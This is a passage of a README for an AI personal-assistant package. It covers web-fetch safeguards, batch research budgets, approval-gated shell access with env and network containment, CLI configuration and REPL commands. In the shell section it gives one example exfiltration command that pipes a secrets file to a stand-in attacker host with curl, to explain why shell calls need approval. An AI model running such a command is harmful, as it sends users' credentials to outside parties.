430
+ `<untrusted_external_content>` (with a warning prefix if a regex heuristic
431
+ flags instruction-shaped text) before they reach the model — see
432
+ `trust-tagging.ts` — since this is content the assistant does not vouch for.
433
+
434
+ **`fetch_url` refuses to fetch a private, loopback, or link-local network
435
+ target.** Before issuing any request it resolves the target hostname and
436
+ rejects loopback/RFC1918-private/link-local/cloud-metadata addresses
437
+ (`169.254.169.254` included) — re-checked on every redirect hop, since a public
438
+ URL can 302 to a private one. A blocked target raises a `PrivateNetworkTargetError`,
439
+ reported back to the model as a tool error, never a silent no-op. This is a
440
+ DNS-resolution-based application check, not a network-level policy — not a
441
+ substitute for a network-isolated environment if that's a hard requirement.
442
+
443
+ Independent of `fileTools`/`shellTools` — a caller can enable web access
444
+ without ever exposing the filesystem or shell.
445
+
446
+ ## Batch research budget
447
+
448
+ The flat `maxSteps` cap that governs an ordinary chat turn (see below) doesn't
449
+ know the difference between a one-question turn and a turn asking for the same
450
+ lookup across many items — a 7-item batch and a 1-item question get the same
451
+ budget. When `webTools` is configured, a message is *also* checked against
452
+ `detectHomogeneousBatchList` (`batch-list-detector.ts`) before the flat loop
453
+ starts: a syntactically explicit list — newline/bullet/numbered lines, ≥3
454
+ qualifying entries, name-shaped content (a capitalization-ratio heuristic, not
455
+ an LLM call) — routes the turn through a separate, self-calibrating budget
456
+ instead. Anything else (open-ended discovery, free-text comma-enumeration, a
457
+ list already mid-`HarnessRuntime` plan run) falls straight through to the flat
458
+ loop, unchanged.
459
+
460
+ Once triggered, `runBatchToolLoop` resolves each item in **its own bounded
461
+ sub-loop**, never a shared pool:
462
+
463
+ - **Probe phase** — the first 1–2 items (whichever leaves at least one item
464
+ unprobed) resolve against a generous fixed cap, and their real cost
465
+ calibrates a per-item budget (`trimmedAverage` of calls-per-item, floored so
466
+ one suspiciously cheap item can't starve the rest, with slack headroom on
467
+ top) for every item after them — recalibrated again after each one resolves,
468
+ not frozen at the initial estimate.
469
+ - **Per-item dead-end window** — each item tracks its own trailing window of
470
+ `classifyToolYield` results (`tool-yield-classifier.ts`); 3 consecutive
471
+ `dead_end` tool results stop *that item's* sub-loop early (`not_found`)
472
+ without touching its remaining budget, and without dragging down any other
473
+ item queued behind it. An item whose budget runs out while still turning up
474
+ plausibly-relevant content is recorded as `truncated_while_productive`
475
+ instead — a different, more informative outcome than a dead page.
476
+ - **Confirmation gate** — if the calibrated projection for the remaining items
477
+ is large, the turn pauses with `pendingActionKind: 'batch'` (same
478
+ `needs_approval` shape as a staged write/shell command) before spending it,
479
+ rather than silently running up the tool-call count.
480
+ - **Absolute ceiling** — a hard per-turn cap on total tool calls applies
481
+ regardless of how favorable calibration looks, as a last-resort backstop.
482
+
483
+ Every item ends in `found`, `not_found`, or `truncated_while_productive` — a
484
+ batch turn's final reply is synthesized from these per-item outcomes and is
485
+ never allowed to silently omit one (an explicit "not yet checked this turn"
486
+ line is appended deterministically for any item the absolute ceiling cut off
487
+ before it was reached, rather than trusted to the synthesis call's prose).
488
+ `AssistantTrace.batchBudget` (present only when this path activates) reports
489
+ `itemCount`, `callsPerItemHistory`, `projectedTotal`, `totalCallsUsed`, and each
490
+ item's outcome — the measurement that would tell you whether the ceiling,
491
+ floor, or slack factor need adjusting, versus a guess.
492
+
493
+ **Known limitations:** only fires on explicit list syntax — "find the closest
494
+ 5 schools and their dates" in one open-ended sentence (N unknown until search
495
+ results come back) still uses the flat loop; the yield classifier is a keyword
496
+ heuristic, not semantic understanding (favors calling an unusual dead end
497
+ "productive" over the reverse, since the per-item budget/ceiling still bounds
498
+ the damage either way); calibration is per-turn only, never learned across
499
+ turns or sessions; and this bounds cost/prevents thrashing but doesn't make a
500
+ weaker model better at multi-page research on its own.
501
+
502
+ ## Shell access via tools
503
+
504
+ `run_shell_command` is the highest-risk tool this assistant has, and is gated
505
+ on **every** call, full stop — there is no "safe subset" the way `read_file` is
506
+ safe within `write_file`'s tool group. A shell command has no structural split
507
+ between "reads" and "mutates" (`cat secrets.env | curl attacker.com -d @-`
508
+ reads a file and exfiltrates it over the network in one command), so every
509
+ call stages a proposal and returns `needs_approval`, regardless of what the
510
+ command looks like:
511
+
512
+ ```ts
513
+ // runApprovedShellCommand (shell-executor.ts) is Node-only and not part of this
514
+ // package's public exports — cli.ts imports it directly from source, the same
515
+ // way it imports node-fs-backend.ts.
516
+ const assistant = new PersonalAssistant({
517
+ llmClient,
518
+ shellTools: { backend, workspaceRoot, executeCommand: runApprovedShellCommand },
519
+ })
520
+
521
+ const staged = await assistant.turn('List the files here')
522
+ // { status: 'needs_approval', pendingActionId: '...', pendingActionKind: 'shell', reason: 'Proposes running: ls\n (cwd: ...)' }
523
+
524
+ await assistant.turn('List the files here', { approved: true, pendingActionId: staged.pendingActionId })
525
+ // spawns the exact staged command for real — no second LLM call
526
+ ```
527
+
528
+ At approval time, the command runs with `cwd` pinned to the staged (already
529
+ sandbox-validated) path, `env` reduced to an explicit allowlist (`PATH`,
530
+ `HOME`, `LANG` — never the parent process's full env, so
531
+ `ASSISTANT_PROXY_TOKEN`/`ANTHROPIC_API_KEY`/etc. can't leak into the command),
532
+ a hard timeout (default 30s, `ASSISTANT_SHELL_TIMEOUT_MS`) that `SIGKILL`s the
533
+ whole process group on expiry, and combined stdout+stderr truncated to a byte
534
+ cap (default 20KB). A non-zero exit code is reported normally, not thrown —
535
+ only a rejected `cwd` or a spawn failure throws.
536
+
537
+ **Network containment (`ASSISTANT_SHELL_NETWORK_ALLOWLIST`):** the spawned
538
+ command's `HTTP_PROXY`/`HTTPS_PROXY` env vars are forced to point at a
539
+ loopback-only proxy (`network-containment.ts`) that only relays a request
540
+ whose target host matches an entry in `shellNetworkAllowlist` (exact match or
541
+ subdomain — comma-separated hostnames via the env var, e.g.
542
+ `ASSISTANT_SHELL_NETWORK_ALLOWLIST=api.example.com,registry.npmjs.org`).
543
+ **Undefined/empty denies all network access** from an approved shell
544
+ command — the safe default, since no host is a legitimate target until the
545
+ user opts one in. This is a Node-level restriction, not an OS sandbox: it
546
+ stops any tool that honors proxy env vars (`curl`, `wget`, most language HTTP
547
+ clients) from reaching a non-allowlisted host, but does **not** stop a tool
548
+ that opens raw sockets and ignores those env vars entirely. That tradeoff —
549
+ weaker than real OS-native sandboxing (Linux seccomp/landlock, macOS
550
+ `sandbox-exec`, Windows job objects) or a container-per-command, but
551
+ identical across the CLI and the Tauri desktop app with no new dependency —
552
+ is deliberate; see `plans/lexical_functions_hardening_plan.html`'s Decision 6
553
+ for the full comparison.
554
+
555
+ **The command's output gets the same trust boundary as `fetch_url`/`web_search`.**
556
+ Once approved, stdout+stderr is wrapped in `<untrusted_external_content>` (with
557
+ the same injection-heuristic warning prefix — see `trust-tagging.ts`) before
558
+ it's saved into the transcript: a command like `cat some-fetched-page.html` can
559
+ carry the same injection-shaped text a fetched web page can, and that reply
560
+ becomes conversation history a later turn could otherwise misread as
561
+ instructions.
562
+
563
+ `executeCommand` is a required, injected function rather than something
564
+ `shell-tools.ts` implements itself: `assistant.ts` is bundled into the browser
565
+ build (via `index.ts`) as well as the CLI, so it never imports
566
+ `node:child_process` directly. The real `child_process.spawn`-based
567
+ implementation lives in `shell-executor.ts` (mirrors `node-fs-backend.ts` —
568
+ deliberately not exported from this package's index; only `cli.ts` imports it).
569
+
570
+ On the Claude CLI backend, `run_shell_command` is never a Claude Code built-in:
571
+ `ClaudeCliLLMClient` never adds `Bash` to `--tools` under any configuration
572
+ (there's a unit test asserting this as a hard invariant) — instead it's served
573
+ by the same MCP server as the file tools, gated behind `ENABLE_SHELL_TOOLS=1`,
574
+ which only stages (never executes), exactly like `write_file`.
575
+
576
+ **Known limitations:** no persistent shell session (each approved command runs
577
+ in its own fresh subprocess — a `cd` inside one command doesn't affect the
578
+ next); no streaming output (only available after the process exits or times
579
+ out). Shell access is opt-in and off by default — enabling it is a real trust
580
+ decision this plan makes *safe*, not *risk-free*.
581
+
582
+ ## CLI
583
+
584
+ ```bash
585
+ ASSISTANT_PROXY_URL=http://localhost:8787 ASSISTANT_PROXY_TOKEN=... npm run cli --workspace=packages/aielia
586
+ ```
587
+
588
+ Set `ASSISTANT_WORKSPACE_DIR` to sandbox the file tools to a specific directory
589
+ (defaults to the CLI's current working directory, mirroring how `claude` itself
590
+ defaults to the launch directory):
591
+
592
+ ```bash
593
+ ASSISTANT_WORKSPACE_DIR=/path/to/workspace npm run cli --workspace=packages/aielia
594
+ ```
595
+
596
+ When the model calls `write_file`, the CLI prints the proposed path and a
597
+ content preview and asks for confirmation before the turn is resumed with
598
+ `{ approved, pendingActionId }` — declining discards the staged write; nothing
599
+ is ever written without an explicit yes. A `run_shell_command` call is shown
600
+ the same way, printing the exact command and resolved `cwd` instead.
601
+
602
+ Set `ASSISTANT_ENABLE_WEB=1` (plus `BRAVE_SEARCH_API_KEY`) to give the model
603
+ real `web_search`/`fetch_url` tools (no approval needed — see "Web access via
604
+ tools" above) and `ASSISTANT_ENABLE_SHELL=1` to give it a real, approval-gated
605
+ `run_shell_command` tool scoped to `ASSISTANT_WORKSPACE_DIR`. Both are off by
606
+ default; `ASSISTANT_ENABLE_SHELL` must be exactly `"1"` (a stray
607
+ `ASSISTANT_ENABLE_SHELL=0` left in an env file does not enable it). Optional
608
+ `ASSISTANT_SHELL_TIMEOUT_MS` (default 30000) tunes the shell timeout:
609
+
610
+ ```bash
611
+ ASSISTANT_ENABLE_WEB=1 ASSISTANT_ENABLE_SHELL=1 npm run cli --workspace=packages/aielia
612
+ ```
613
+
614
+ The startup banner only mentions a capability when it's actually enabled —
615
+ nothing implies web/shell access is available when neither env var is set.
616
+ `ASSISTANT_ENABLE_WEB` now works on both backends: the proxy backend calls the
617
+ injected search function directly, and the Claude CLI backend registers
618
+ `web_search` on its file-tools MCP server — both need `BRAVE_SEARCH_API_KEY`
619
+ set, since Brave Search is the only backend (see below).
620
+
621
+ #### `--dangerously-skip-permissions` equivalent
622
+
623
+ Set `ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS=1` (or `/config set
624
+ dangerouslySkipPermissions true`) to skip *every* approval prompt automatically
625
+ — the message-level risk gate (a HIGH-risk message like "send an email...")
626
+ and `write_file`/`run_shell_command`'s per-call staging both resolve as if you
627
+ had already said yes. Off by default, and named to match Claude Code's own
628
+ flag: it is exactly as dangerous as it sounds — a proposed shell command or
629
+ file write executes with zero chance to review it first. The underlying
630
+ sandboxing (workspace-root path scoping, the shell env allowlist, output
631
+ truncation, the timeout) is unaffected; this only skips the ask, never the
632
+ limits underneath it. The startup banner switches shell's capability label
633
+ from "approval-gated" to "NOT approval-gated" and prints an extra `⚠` line
634
+ whenever this is on, so it's never silently in effect.
635
+
636
+ #### Non-interactive / scripted use
637
+
638
+ Piping input into the CLI (`echo "..." | npm run cli ...`, or any non-TTY stdin)
639
+ used to hit an approval gate as an *incidental* consequence of `readline`
640
+ eagerly draining and closing piped stdin before a slow turn reaches the
641
+ prompt: `rl.question()` throws, the fail-closed catch logs a generic
642
+ `[could not read a response — treating as declined]`, and the turn is
643
+ declined. That fail-closed outcome was always correct, but it read as
644
+ something to be rediscovered by piping input at it rather than a documented
645
+ decision. `ASSISTANT_NON_INTERACTIVE_APPROVAL` makes it explicit:
646
+
647
+ - `ASSISTANT_NON_INTERACTIVE_APPROVAL=decline` — every approval gate
648
+ auto-declines immediately, without ever touching stdin. The right choice
649
+ for scripted/CI use where every HIGH-risk or staged write/shell action
650
+ should always be rejected outright:
651
+
652
+ ```bash
653
+ ASSISTANT_NON_INTERACTIVE_APPROVAL=decline npm run cli --workspace=packages/aielia < script.txt
654
+ ```
655
+
656
+ - `ASSISTANT_NON_INTERACTIVE_APPROVAL=require-tty` — fails fast at startup
657
+ with a clear error if stdin isn't a real TTY, instead of running an entire
658
+ session that can only discover the problem deep in, at the first approval
659
+ prompt.
660
+
661
+ Leaving it unset keeps today's behavior (interactive prompt on a real TTY,
662
+ fail-closed decline on piped stdin) exactly as before — this only makes the
663
+ piped-stdin case an intentional choice instead of an implicit one. An
664
+ unrecognized value is ignored, with a startup warning, rather than silently
665
+ picking one of the two behaviors for you.
666
+
667
+ #### Web search needs a Brave Search API key
668
+
669
+ Brave Search is the only backend `web_search` supports. Enable web tools with
670
+ `ASSISTANT_ENABLE_WEB=1` and supply `BRAVE_SEARCH_API_KEY` (get one at
671
+ [api.search.brave.com/app/keys](https://api.search.brave.com/app/keys)):
672
+
673
+ ```bash
674
+ ASSISTANT_ENABLE_WEB=1 BRAVE_SEARCH_API_KEY=your-key \
675
+ npm run cli --workspace=packages/aielia
676
+ ```
677
+
678
+ If `ASSISTANT_ENABLE_WEB=1` is set without `BRAVE_SEARCH_API_KEY`, the CLI
679
+ fails fast at startup with an error rather than silently registering a
680
+ non-functional `web_search`. The active state is shown in the startup banner
681
+ (`web search/fetch (brave)`). `braveApiKey` can also be set from inside a
682
+ running session with `/config set` instead of an env var — see
683
+ "Configuration" below.
684
+
685
+ Set `ASSISTANT_LLM_BACKEND=claude-cli` to skip the proxy entirely and run turns
686
+ through a local `claude -p` subprocess instead, using your already-authenticated
687
+ Claude Code CLI session rather than an API key (`CLAUDE_PATH` overrides the
688
+ `claude` binary path if it's not on `PATH`):
689
+
690
+ ```bash
691
+ ASSISTANT_LLM_BACKEND=claude-cli npm run cli --workspace=packages/aielia
692
+ ```
693
+
694
+ Or skip both the proxy and claude-cli and call a provider directly with your
695
+ own API key — `ASSISTANT_LLM_BACKEND=anthropic|openai|openrouter` plus
696
+ `ASSISTANT_API_KEY`:
697
+
698
+ ```bash
699
+ ASSISTANT_LLM_BACKEND=anthropic ASSISTANT_API_KEY=sk-ant-... \
700
+ npm run cli --workspace=packages/aielia
701
+
702
+ ASSISTANT_LLM_BACKEND=openai ASSISTANT_API_KEY=sk-... \
703
+ npm run cli --workspace=packages/aielia
704
+
705
+ ASSISTANT_LLM_BACKEND=openrouter ASSISTANT_API_KEY=sk-or-... \
706
+ npm run cli --workspace=packages/aielia
707
+ ```
708
+
709
+ These three go straight from this process to the provider's own API
710
+ (`AnthropicLLMClient`/`OpenAICompatibleLLMClient` in `@buildaharness/runtime`)
711
+ — no proxy deployment needed, but unlike `authToken` (a self-hosted proxy's
712
+ own bearer token), `ASSISTANT_API_KEY`/`apiKey` is a *real* provider key.
713
+ It's stored the same way as every other secret field here — plaintext in
714
+ `config.json`, not an OS keychain — so treat that file accordingly. When
715
+ `ASSISTANT_MODEL`/`/config set model` isn't set, each backend falls back to the
716
+ current-generation default id exported from `@buildaharness/runtime`'s
717
+ `model-defaults.ts` (`openai` → `gpt-5-mini`, `openrouter` →
718
+ `anthropic/claude-sonnet-5`, `anthropic` and `proxy` → `claude-sonnet-5`).
719
+
720
+ Transcript, learned experience, reminders, and any in-flight turn's checkpoint
721
+ persist as real files under `~/.buildaharness/personal-assistant/`
722
+ (`transcripts/`, `experience/`, `reminders/`, `checkpoints/`), so conversation
723
+ history and learning survive between runs — quit and restart the CLI and it
724
+ remembers.
725
+
726
+ ## Configuration
727
+
728
+ Every env var documented above (`ASSISTANT_ENABLE_WEB`,
729
+ `BRAVE_SEARCH_API_KEY`, `ASSISTANT_ENABLE_SHELL`, `ASSISTANT_SHELL_TIMEOUT_MS`,
730
+ `ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS`, `ASSISTANT_LLM_BACKEND`,
731
+ `ASSISTANT_PROXY_URL`, `ASSISTANT_PROXY_TOKEN`, `ASSISTANT_API_KEY`,
732
+ `ASSISTANT_MODEL`, `ASSISTANT_WORKSPACE_DIR`) keeps working exactly as
733
+ described — nothing here is a breaking change. What's new is a persisted
734
+ settings layer *beneath* those env vars, editable from inside a running CLI
735
+ session with `/config`, so a setting survives across runs without needing an
736
+ env var set every time:
737
+
738
+ ```
739
+ you> /config
740
+ llmBackend proxy
741
+ proxyUrl http://localhost:8787
742
+ authToken (not set)
743
+ apiKey (not set)
744
+ model (not set)
745
+ enableWeb false
746
+ braveApiKey (not set)
747
+ enableShell false
748
+ shellTimeoutMs (not set)
749
+ workspaceRoot (not set)
750
+ dangerouslySkipPermissions false
751
+
752
+ you> /config set enableWeb true
753
+ ✗ enableWeb requires braveApiKey to be set (Brave Search is the only backend).
754
+
755
+ you> /config set braveApiKey sk-...
756
+ ✓ braveApiKey updated (took effect immediately, no restart needed)
757
+
758
+ you> /config set enableWeb true
759
+ ✓ enableWeb updated (took effect immediately, no restart needed)
760
+
761
+ you> /config reset enableWeb
762
+ ✓ Reset enableWeb to default
763
+ ```
764
+
765
+ - `/config` lists every field's current (resolved) value. A field currently
766
+ pinned by an env var shows `(env-pinned: VAR_NAME)` and cannot be changed
767
+ with `/config set` — unset the env var first.
768
+ - `/config set <key> <value>` validates the change (e.g. `enableWeb true`
769
+ is rejected without a `braveApiKey` already set) before persisting it, then
770
+ rebuilds the running assistant so the change applies to the very next turn —
771
+ no restart needed.
772
+ - `/config reset [key]` clears one persisted key (or, with no key, every
773
+ persisted key), reverting to the env var if still set, or the built-in
774
+ default otherwise.
775
+
776
+ **Precedence**: env var > persisted config > built-in default, evaluated
777
+ independently per field. Settings persist as plain JSON at
778
+ `~/.buildaharness/personal-assistant/config.json` — like the rest of this
779
+ package's persistence, it's a real file, not encrypted, so `authToken` and
780
+ `braveApiKey` are stored in plaintext there. This is the same trust boundary
781
+ the repo's root `.env` already has, not a new one.
782
+
783
+ ## REPL commands
784
+
785
+ Type `/help` inside a running CLI session for this list. All of them read or
786
+ change local session/config state — none of them make an LLM call themselves.
787
+
788
+ | Command | What it does |
789
+ |---|---|
790
+ | `/help` | Show this list |
791
+ | `/clear` (alias `/new`) | Start a fresh conversation — deletes this session's transcript, extracted facts, and active plan. Leaves learned reminders/experience untouched (those are durable, cross-conversation learning, not conversation-scoped state) |
792
+ | `/status` | Show the resolved config (model, backend, workspace, enabled capabilities — same as the startup banner) plus this session's transcript length and whether a plan is active |
793
+ | `/export [file]` | Save this session's transcript to a markdown file (default: `assistant-transcript-<timestamp>.md` in the current directory) |
794
+ | `/undo` | Remove the last exchange from conversation history — a completed turn drops both the user message and the reply; a turn still awaiting approval drops just the pending message. Only affects what the model remembers: a real `write_file`/`run_shell_command` effect from that turn is **not** reversed |
795
+ | `/memory` | Show facts learned about you, reminders created so far, and the learning-layer `ExperienceStore`'s real content — every strategy weight, plus the 20 most recently learned decompositions/recovery sequences (newest first), not just counts |
796
+ | `/memory export [file]` | Write the full, unbounded `ExperienceStore` contents (every strategy weight/decomposition/recovery sequence, not the 20-entry preview `/memory` prints) plus facts/reminders to a JSON file (default: `assistant-memory-<timestamp>.json`). Read-only: there's no matching import path, so exported data can't be hand-edited and loaded back in |
797
+ | `/search <query>` | Ranked search over past messages, across every session in this install — a hit is the one message that matched, not the whole session transcript around it. Read-only: never an LLM call or network request. Scoring is tokenized/graduated, not exact-substring-only (see "Conversation history" above), and a query matching nothing returns an explicit "no results" line |
798
+ | `/model [name]` | Show the active model, or switch it — a thin alias over `/config set model <name>` (see "Configuration" above); rejected the same way if `model` is pinned by `ASSISTANT_MODEL` |
799
+ | `/cost` | Show token usage for the last turn and the running session total |
800
+ | `/doctor` | Check proxy reachability (proxy backend) or the `claude` binary (claude-cli backend), plus workspace root and data dir health — no dedicated check yet for the anthropic/openai/openrouter backends, only the backend-agnostic checks run for those |
801
+ | `/why` | Explain the harness path the last turn took (verification confidence + node sequence) |
802
+ | `/sources` | List files/URLs the last turn actually consulted |
803
+ | `/plan` | Show the active structured plan's task status |
804
+ | `/checkpoint [clear]` | Inspect a stuck in-progress harness checkpoint (step, node, failed-resume count so far), or `/checkpoint clear` to discard it — see "Recovering a stuck checkpoint" above. Scoped to just the checkpoint: unlike `/clear`, transcript/facts/plan are untouched |
805
+
806
+ ### `/cost` and real vs. estimated dollar figures
807
+
808
+ Token counts are always real, on every backend. The dollar figure attached to
809
+ them is not always the same kind of number:
810
+
811
+ - **claude-cli backend**: `costUsd` comes straight from `claude
812
+ --output-format json`'s own `total_cost_usd` field — real Anthropic
813
+ accounting. It may read `$0` if the underlying `claude` session is
814
+ authenticated against a Pro/Max subscription rather than API billing, in
815
+ which case `$0` does *not* mean "this turn was free" — `/cost`'s output
816
+ says so explicitly.
817
+ - **every other backend** (`proxy`, `anthropic`, `openai`, `openrouter`):
818
+ none of these compute a dollar cost themselves — only the raw token counts
819
+ each provider's response already includes (`@buildaharness/proxy` is a thin
820
+ pass-through, see `packages/proxy/src/forward.ts`; the three direct clients
821
+ in `@buildaharness/runtime` are the same). `/cost` falls back to a small
822
+ static, hand-maintained pricing table (`model-pricing.ts`, Sonnet/Opus/Haiku
823
+ list prices) to show an *approximate* estimate, clearly labeled as such,
824
+ not real billing data.
825
+
826
+ ## Commands
827
+
828
+ ```bash
829
+ npm run build --workspace=packages/aielia
830
+ npm test --workspace=packages/aielia
831
+ npm run typecheck --workspace=packages/aielia
832
+ ```